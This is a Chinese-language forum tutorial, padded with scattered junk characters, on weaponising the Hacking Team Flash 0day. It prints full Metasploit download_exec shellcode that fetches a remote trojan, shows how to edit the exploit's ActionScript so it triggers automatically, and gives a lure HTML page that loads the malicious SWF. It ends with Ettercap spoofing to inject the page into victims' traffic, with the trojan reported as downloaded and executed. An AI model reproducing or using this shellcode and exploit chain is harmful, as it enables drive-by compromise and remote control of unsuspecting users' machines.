|
' a. \" L: K) h2 L# b
三、flash 0day之手工代码修改制作下载者实例入侵演示
. [/ {- A2 d4 A' h$ X- J ) j7 F% b9 A' h0 M% P
3 X! G% _1 S; H% K4 O7 b8 s: ^ 利用到的工具:
% B4 [3 h2 o; E6 c3 G# f
; D+ o( q5 N) }) l% Z5 p& x# N; ^, b1 q. u4 B& C* v
Msf
' f% }% O9 w% H. M( ?% Q/ m% v3 y
, T. k9 B1 f* W- E+ g
: {8 [+ |7 K# W Ettercap + L, z, _# g! }( E7 [ W
2 s& V0 a6 n0 f! a
: W' A* S- A" O: S% i! R Adobe Flash CS6
; o6 |3 S6 Z _. B: z * [" D2 G! C) y5 M; x6 a
\0 M: v& j! W. A" ~
Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份 " C o! D+ [! G: t2 k* ]3 C
7 r. G8 y4 a' f) R
- L$ A+ w: f; x) d
下面我们就开始演示入侵,利用msf生成shellcode,首先打开msf执行use windows/download_exec,show options
9 G5 t8 F* u( ^+ _2 _3 Q ( ]* B1 ]' @1 B: }7 f$ v
6 u+ e- o; N: `: L$ O 如图:
; I: G0 |. {$ {, F. U' | 3 W' R V% W( b- K' L
( n3 J! L! b! h' w. j# i
' r W, {( V: `9 [/ F; @$ f 0 j* D0 @4 O/ V) D ^/ [
- ~. g$ ]' M+ E$ Z# f
7 v' g# H* H; f8 R
7 S1 a0 U6 R7 K- [3 ^. e( C! T) I( O- L1 u+ q+ l; r5 c
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址,这里我们用远控马,远控配置使用不再详细说明。。。如图:
# o' D4 ~8 c F# J' B* m - x0 d5 N2 e5 h% S0 X- j d
5 Q5 H8 V( s5 g* s 8 j9 ? O; u/ j8 Z; q7 N4 e
5 H& @% y r7 E1 T9 @( r8 k
. v. y& S+ f! z { % J' F) g# t7 c+ ]1 |8 v+ W
1 J: f; b8 ] k8 p; G8 h8 K# ?/ Y+ I+ A2 T
然后执行generate -t dword生成shellcode,如下:
, F3 \, d0 _# |3 i8 R2 e! S
" U9 ^- N% g( ]8 d0 n2 F0 c) p& G: x6 ~2 N- i0 M, H
8 D0 u; |' I) x8 n9 L: M I7 K1 P
0 N- ^: z' ~* A" e& p: }( R% y
2 [) W; M& I5 v% V$ |0 p' N 复制代码到文本下便于我们一会编辑flash exp,如下:
& M7 b% E6 C% y& R% y$ v; ^
5 j% W5 g' e1 `% l9 Z; u& I: J) V2 Q. R3 t
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31, w! f9 m2 I2 t
% h7 ]3 v7 E0 E! h8 G, G; i
/ y/ k y) D& A, [) {% N
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0,
$ Z5 F* c) ~ n# t; R
+ R p: }* Z# e6 i) _* }" b8 P; r: B9 x. w0 |1 Y, E- |# T
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038,
/ Q! K0 H& k+ L3 ~! G $ _, a- h" d6 U: q
& v* ^7 @# d! z9 T. Y
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, M. a! j0 O9 E0 k$ `" g r
) u. u3 j: F% X
% p7 R9 n) u* M3 M/ X* s 0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
+ a: V1 ] {6 a l" S; l . O, J c. m" M: }4 |
3 r% Y; m+ c* Q4 G7 u 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51,
) W1 E) P) z; p( u8 @# S
+ ]: h `) B/ w2 n6 T9 ]4 q6 g9 g( K5 b+ z$ u+ z
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
" l$ K' n7 F, x# F( X8 V* ~3 \- R
3 U) S* k$ V+ ~% e* m2 A0 p, q- q, C/ v3 M1 H* w
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, * n7 Q& [! z y5 q0 h% j
3 m$ t4 S& V5 K
4 b7 a' F( K' R7 G5 c
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff,
7 N8 X/ ~' ^8 Z9 l
- s/ K9 H7 m0 @; X
) [1 C" E" X$ F8 g8 z L9 C 0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6, $ j) @0 _6 y. ?; Z, X( {
. i- i4 L, @+ W# Q
d# Y' Q& H9 @3 d 0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 7 F. h/ \2 R# E; G- p, {5 `1 |, l
1 M1 n' C1 Q, y) f' X
- b* c, `# c1 J# U 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853,
# Z D& Y4 V2 j& q M0 Y% H7 c6 h4 ] % S1 V! H) F" J& |6 \3 d
4 h. v2 N0 Q% P- F2 z' t/ ] 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
' f1 c% W: p$ {! _0 D( |9 \# |9 Q
2 Q8 I' M: ~3 N _
/ Y+ b- \) `1 `: T" C7 } 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 ) P4 ]8 z, A( M, ]6 H% K) L
7 `0 K) e1 l$ `, U6 B) X7 h1 W0 U9 d9 T( F' h9 v
5 ]& f+ i/ |# ]- D0 `2 n
! {6 I+ \0 ^- h2 U% ?& I
: R4 r! m5 E" @8 `
9 |) ]1 Q9 u; Q 1 @+ p; P/ I/ ` L
" q) y; C u. d5 q/ m$ [4 n1 N8 u; h0 N 下面我们来修改flash 0day exp,需要修改三个文件,分别为:
3 g# {% F$ S6 K: H9 T/ T1 H- h ) ~* i% D2 x1 ~
7 u" f, y( C/ B , }: u( h8 |. h/ P2 u: X7 l
4 q7 t( k5 U* f- N
& d0 P4 i2 O' @7 l7 I0 \. { 先修改ShellWin32.as,部分源代码如图: 2 F& r! q; F- W& C* e. G
3 p2 [8 n0 B( k5 r
1 v2 i, Y8 ]7 g T; V , _% Q4 p# c5 {2 j
! G6 R5 z( U. ~% u; [
4 e5 Q6 [( P! l8 `/ r' P" y! X+ E 我们需要把标记处[]中的代码改成用msf生成的代码,修改后如下: . f; }$ y8 c' X+ p3 d
4 O9 O( R! k6 ?9 R, n) g/ b1 {& r# U. f
3 O- G2 Z! l$ D# p4 } F: l+ K3 s& {( @4 q" {. k
# N5 O, Q; Q1 n! N
. X0 n, D% m) x8 [+ A! z$ d 然后保存,ShellWin64.as的修改方法如上述,不再演示,下面我们来修改myclass.as,这里需要说明一下,因为此exp生成的利用程序,不能直接自动触发flash漏洞,也就是需要点击按钮才可以,实际上在做渗透的时候需要把它搞得更完美,所以就需要修改,修改方法:搜索myclass的某个字符doc.addchild(btn);如图:
( H2 X3 o* ]+ c
' b9 y; `7 B8 s8 ]: c8 K. @/ F% Y! _ F" \: n4 l
& ^! g( V8 p o % B$ ?5 y! [3 W/ _ i
: f2 [* w% Q" X1 _+ @ 换行在后面加一句TryExpl();注意是l不是数字1,然后如图: , f. b- D% g# k4 a" u% N( s& k+ e
: D9 y9 }' T; L' p$ M5 b
I7 e" @2 g% v+ J& f3 h7 f& q
' s/ e4 O1 s) T% S6 N0 i1 R
9 l. D8 d5 M- ]; t7 h/ K/ F* U0 ]; H/ ~/ ~" ^6 O$ n
% z2 ?6 ^/ H9 N+ x+ w+ k
W& b4 Z- v' ^- p
) @/ k, H; d. y+ T- e& Y1 G
1 f. X0 q" H4 s( b 6 a5 Z* \3 s) l( x7 }7 I3 _6 F
8 P( k7 K' y" g4 {( q/ X" K 然后点保存,下面我们来编译一下,打开 + _- g* J% P! O- H* M
9 ]5 B1 ]. V! a% X2 O7 w
1 |% {- D& c) L% {1 t3 p' m exp1.fla然后点文件-发布,看看编译没错误
- K6 K% M9 n. U$ H/ M, ` O# y 8 N# t) ^* x/ r W. ~+ f
- F: n5 m) |2 q4 b% S
4 T7 Z! y$ s; K
* s2 }! A6 D3 A, T& f5 y' j$ i$ r; O G$ f) X" g5 T
; {& [$ n/ j1 W
! D* B+ ^+ ~& N- }! Y4 |$ f
/ t+ e; d" t8 r- z( q: p 8 u2 H# x! N& P+ Q' ]( ?5 c
$ V- N1 l( I& d2 ^1 s- i
) s9 f3 D7 T( m$ r# [; v ; `9 x5 g e0 y
- W, g+ a. S" K. Q2 N; [
5 k) Q1 n0 y7 @5 V* V% ~8 O 然后我们把生成的 & X, n1 [0 H! F" p# `( E- n
, x5 T( j0 K; z( I `# ]$ {6 A3 m! ]' Q! v
exp1.swf丢到kailinux 的/var/www/html下:
3 K% Q5 a, ]# l
7 x. U5 Y3 X! ~+ C
7 i0 {0 F8 P$ \* t, s0 Y4 V" n5 p, S5 a# o 然后把这段代码好好编辑一下
4 l- {% i* n. z3 S : B8 `$ y3 Q& h6 N
+ ]; E N! p1 A5 q, @
* e8 X& u1 i$ h( o* x# e( l3 D
! E7 S v4 P4 e# o$ h% d5 T- V8 Z- h5 a/ r
- z8 f0 F, K# Y2 G
5 ]& e9 Z- t/ g7 i* r3 I
: M! e! X, L* |3 o* @
) m% D$ |0 w" g( } % N9 o: W, }: h
6 Q: [7 }& g8 l [' Y4 P+ U7 G6 g% k3 k
! \8 q: N( {# Y) ^8 @3 A9 A 6 Q, ~) m+ j/ r" y5 p& B
z5 }1 C/ ?2 e# C, v! H: }9 _ Z3 C; z
$ e- H, b& b2 r9 q- i D
- o& @( ]+ X5 Y
' P, f! g0 R; L. b$ u) X
# k' H" ^3 D5 C) P: f* ?
' Z+ _5 [2 e; g* h" H Y/ t3 r0 S: b# L( B8 G
<!DOCTYPE html> ) Q- w$ Y( \, j& V9 N8 E) h
6 t! R' w( `5 v9 ~$ C
% a% k& a- t, x+ ]5 P& B9 p; ]: {
<html> : l, F- A' o& b. l/ C5 z
8 z! o& k; H6 F. t. I# W% p% N
% K- \2 v( `. h$ }8 k$ ?0 E <head>
5 a. O/ O3 F9 b* o; P5 C
( Q) g$ {, w2 u" w" Q' i2 Z! g
1 s4 I* Q, A2 f% M7 B- B. h <meta http-equiv="Content-Type" content="text/html; ! E2 ?+ E# W0 \9 X% L
9 {5 c. g1 k. t; H$ [% h
3 u5 D! M* [& o- @5 u
charset=utf-8"/> ) i5 _7 F' G. S/ ^
- Y9 n4 ?( O$ P* z
; V" ^% y& r) R( z6 u </head> & u! C# p0 v# y: o3 o) @. a
( G; j* w, ?; x1 x% a& Y& ~ O# L4 i8 {( N7 f2 }
<body> 7 W% j: ^, y# n; B
6 v1 F, t6 T" U* A4 q0 d+ {: L+ n- x, M7 ]+ b. P, q
<h2> Please wait, the requested page is loading...</h2> - ?3 m! ]. {. \
& {: R0 S/ a* ]3 ]4 _' p' L3 p1 X. B5 ~
<br>
% D* `7 |( ?) H( g* M+ R + S, F) V7 |( ? \; b) ^
/ Y/ L& t8 e/ P# R; E <OBJECT 0 i. w' u3 D" [6 M' M# _2 e
7 B) E* D; I; Y9 o, ~
7 C2 K8 G& W5 [" ]% s# C/ X
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie
' F( o: \- |7 L# g
( k% d( u: h/ m( m5 I& a) ]2 V; H& @) C7 M Y8 R. u( N) Y
VALUE="http://192.168.0.109/exp1.swf"></OBJECT>
- l, _* g; L, L1 Q: s! U! t; a
; Q& ]/ y% U. I0 N3 p' E6 Z4 ]% ^* ~" i% K7 B6 f1 ~' f9 p4 {
</body>
; J3 b3 H; O/ m2 z% a7 N- N , \$ ~/ y0 a7 R7 {4 ^, o# z
3 P: Y* l: S* i
<script> 3 G* ^# i+ b e4 N
- c6 L) z# d" j
q' a: V- x# g5 R6 } setTimeout(function () {
6 ]) ~2 n/ _3 w" Y# w0 N
( y& Y& j) u6 l: o' ~ Z
x+ J+ v0 L" H$ Q) j, K5 P7 F
% w& g) N; n/ h* m " z3 u4 o0 C& k, b6 U/ b( S1 ^
" }$ _1 @0 W/ I/ N1 d
window.location.reload(); ' a0 ]3 Y, G8 Y, M3 p3 [/ f
( L! b% }# ~$ t# x. k7 H
( D! y. G3 N' M) c7 Z }, 10000);
1 L$ d5 }# [2 l D4 r3 ?5 Y
: x7 K( q( i; c* T
! Y" ^9 F, }2 V" Y6 r% }7 } 0 D# Y* ]# C: |7 C" _. w$ o" \
' M% g$ Z# U: } n
/ U2 g' S5 i9 h4 [- v </script>
" K! I' n/ U* a3 b! M5 d8 h$ t
% h9 @4 o; n2 p3 W! s7 t7 [
+ ?* m" [- h6 j. k+ Y </html>
7 ?6 r ?) R7 H# N, ~. U0 e + {% s( ], G: K/ C/ h
8 _8 b9 A4 U# x
; r$ s+ }/ A1 f g6 r# B
4 c& l4 V1 Z2 |: W& V
7 Y/ q; r {. s0 M+ E8 B. S 注意:192.168.0.109是kali的ip地址,这时候我们需要service apache2 start启动一下web服务,然后将上面的html保存为index.htm同样丢到kali web目录下,测试访问链接存在如图:
% K7 J: b3 Y% S $ ]) ^* T' y/ b3 y, y' j8 O
- {& U. S/ g( _# X7 H+ P+ ?
7 [ w* ~9 W: q \: { ]- |
$ ]& B$ \) H! W2 k5 C: {( T" ]. F% U, E" F s
* L- H0 }( W: o4 u% [, R7 e , ~% T4 b9 L3 v$ B" j9 P; c
7 m u0 X1 v9 a# G- c
- h/ Z9 m1 F* V2 P" P" e { $ f0 U X: I( S
5 [5 L/ C0 z ~7 V4 f
* [% ?: X- V$ s! b+ [ , ^# z7 \) @- Y
/ D9 e% C( Y L' `0 Z/ p$ w) G1 F 8 p' M% r. @" r: K8 P* T% D/ A3 h
4 [+ L( q5 O7 f) r; B) F9 o# q& F2 Y; \$ n ~; R6 O& L
下面我们用ettercap欺骗如图:
, K! s# M/ Y' D( h0 {
, Y) p* }2 D0 b( [; k1 a# r
& s- T; m* `- x0 ^3 D4 ^1 s
% Y- l! ~$ D; \' d0 T- g * K# d( P( @; C; e( t
7 K6 Z3 p/ J. M6 x8 S
6 `7 T9 G; x$ k6 T8 w( G, E # w5 u( C k) X
' z& c6 a9 A/ G5 y& {, ]4 G
下面我们随便访问个网站看看:
7 ~2 c1 q. j# f# d . T% K8 W% i% x0 Y. Q
. ^: }( T" h3 ^( C 我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功,如图:
- R& J$ y* v# J9 Y$ F+ [1 Q: s6 ~ ) { X0 R) ]" F! C
7 L& I" ]+ R4 _
t4 \" ^" G0 _8 t5 |
: _1 |. L& T& d. A' [
9 [3 Y0 R" N9 S$ C% T8 J' Y2 l 我们看另一台,
. E/ @& N% z% {- F( X
% q- b3 k% s U ^6 g
" B% c/ I# l9 ? 提示这个错误,说明木马是成功被下载执行了, 只是由于某些原因没上线而已。。。
3 l( @( |7 g* M( X; a- \ @ |